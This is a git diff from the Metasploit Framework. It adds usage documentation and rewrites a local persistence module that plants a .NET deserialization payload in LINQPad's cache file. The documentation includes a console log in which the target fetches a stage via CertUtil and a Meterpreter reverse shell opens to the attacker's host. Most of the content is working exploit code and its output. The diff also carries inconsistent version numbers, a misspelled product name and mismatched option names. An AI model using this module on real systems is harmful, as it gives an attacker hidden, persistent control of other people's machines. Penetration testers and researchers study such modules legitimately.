diff --git a/documentation/modules/exploit/windows/persistence/linqpad_deserialization.md b/documentation/modules/exploit/windows/persistence/linqpad_deserialization.md new file mode 100644 index 0000000000000..c008311377afd --- /dev/null +++ b/documentation/modules/exploit/windows/persistence/linqpad_deserialization.md @@ -0,0 +1,53 @@ +## Vulnerable Application + +LINQPad is a scratchpad for .NET programming. +Versions prior to 5.52 contain a deserialization vulnerability in processing cache file when program is starting. +Application can be downloaded from [here](https://www.linqpad.net/). + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Get session +4. Run: `use windows/local/linqpad_deserialization` +5. Set payload - for example `set payload cmd/windows/generic` - and corresponding parameters +6. Set parameters `session`, `cache_path`, `linqpad_path`, `cleanup` +7. Run exploit + +## Options + + +### cache\_path + +The parameter sets path for folder, where vulnerable cache file is present. +This is crucial part of the exploit as the folder can be used to identify whether the current version is vulnerable and the payload delivery is performed through cache file. + + +## Scenarios + +``` +msf > use exploit/multi/handler +msf exploit(multi/handler) > set LHOST 192.168.3.7 +msf exploit(multi/handler) > set LPORT 4545 +msf exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp +[*] Exploit completed, but no session was created. +msf exploit(windows/persistence/linqpad_deserialization_persistence) > +[*] Fetch handler listening on 192.168.3.7:8080 +[*] HTTP server started +[*] Adding resource /LCG8z8xZZXJnz_uKNIZRPw +[*] Started reverse TCP handler on 192.168.3.7:4545 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. LINPad and vulnerable cache file present, target possibly exploitable +[*] Create deserialization payload +[*] Saving the original content +[*] Saved at: /home/ms/.msf4/loot/20251027153340_default_10.5.132.148_CUsersmsfuser_949460.txt +[*] Overwriting file +[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/WIN10_1909_BE09_20251027.3341/WIN10_1909_BE09_20251027.3341.rc +[*] Client 10.5.132.148 requested /LCG8z8xZZXJnz_uKNIZRPw +[*] Sending payload to 10.5.132.148 (Microsoft-CryptoAPI/10.0) +[*] Client 10.5.132.148 requested /LCG8z8xZZXJnz_uKNIZRPw +[*] Sending payload to 10.5.132.148 (CertUtil URL Agent) +[*] Sending stage (203846 bytes) to 10.5.132.148 +[*] Meterpreter session 2 opened (192.168.3.7:4545 -> 10.5.132.148:50045) at 2025-10-27 15:33:53 +0100 +``` diff --git a/modules/exploits/windows/local/linqpad_deserialization_persistence.rb b/modules/exploits/windows/persistence/linqpad_deserialization.rb similarity index 65% rename from modules/exploits/windows/local/linqpad_deserialization_persistence.rb rename to modules/exploits/windows/persistence/linqpad_deserialization.rb index 015d3847c0e74..efb2e4533eead 100644 --- a/modules/exploits/windows/local/linqpad_deserialization_persistence.rb +++ b/modules/exploits/windows/persistence/linqpad_deserialization.rb @@ -8,17 +8,19 @@ class MetasploitModule < Msf::Exploit::Local # includes file?, directory? include Msf::Post::File + include Msf::Exploit::Local::Persistence # includes generate include Msf::Util::DotNetDeserialization + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, - 'Name' => 'LINQPad Deserialization Exploit', + 'Name' => 'LINQPad Deserialization', 'Description' => %q{ - This module exploits a bug in LINQPad up to version 5.52.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts. + This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -43,39 +45,42 @@ def initialize(info = {}) ) ) register_options([ - OptString.new('LINQPAD_FILE', [true, 'Path to LINQPad executable on target\'s machine']), OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']), - OptBool.new('CLEANUP', [false, 'Restore original cache file when exploit finish']) ]) end # Simplify pulling the writable directory variable def check - if datastore['LINQPAD_PATH'].blank? || !file?(datastore['LINQPAD_PATH']) - return Exploit::CheckCode::Unknown('LINQPad binary not specified or doesn\'t exist') - elsif datastore['CACHE_PATH'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') + if !directory?(datastore['Cache_path']) || !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist') elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') return Exploit::CheckCode::Unknown('Cannot find cache file') elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat') return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad') + else + return Exploit::CheckCode::Appears('LINQPad and vulnerable cache file present, target possibly exploitable') end - - Exploit::CheckCode::Vulnerable('LINPad and vulnerable cache file present, target possibly exploitable') end - def exploit + def install_persistence # generate payload + vprint_status('Create deserialization payload') + dotnet_payload = ::Msf::Util::DotNetDeserialization.generate( payload.encoded, # this is the Operating System command to run gadget_chain: :TextFormattingRunProperties, formatter: :BinaryFormatter ) + vprint_status('Saving the original content') + cached_file_content = read_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat') + backup_conf_path = store_loot(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', 'text/plain', session, cached_file_content, 'AutoRefCached46.1.dat', 'autorefcache46.1.dat backup') + vprint_status("Saved at: #{backup_conf_path}") + + @clean_up_rc << "upload #{backup_conf_path} #{datastore['CACHE_PATH']}/AutoRefCache46.1.dat" + + vprint_status('Overwriting file') # try to overwrite cache file fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload) - - # add cleanup option - register_file_for_cleanup(datastore['CACHE_PATH']) if datastore['CLEANUP'] end end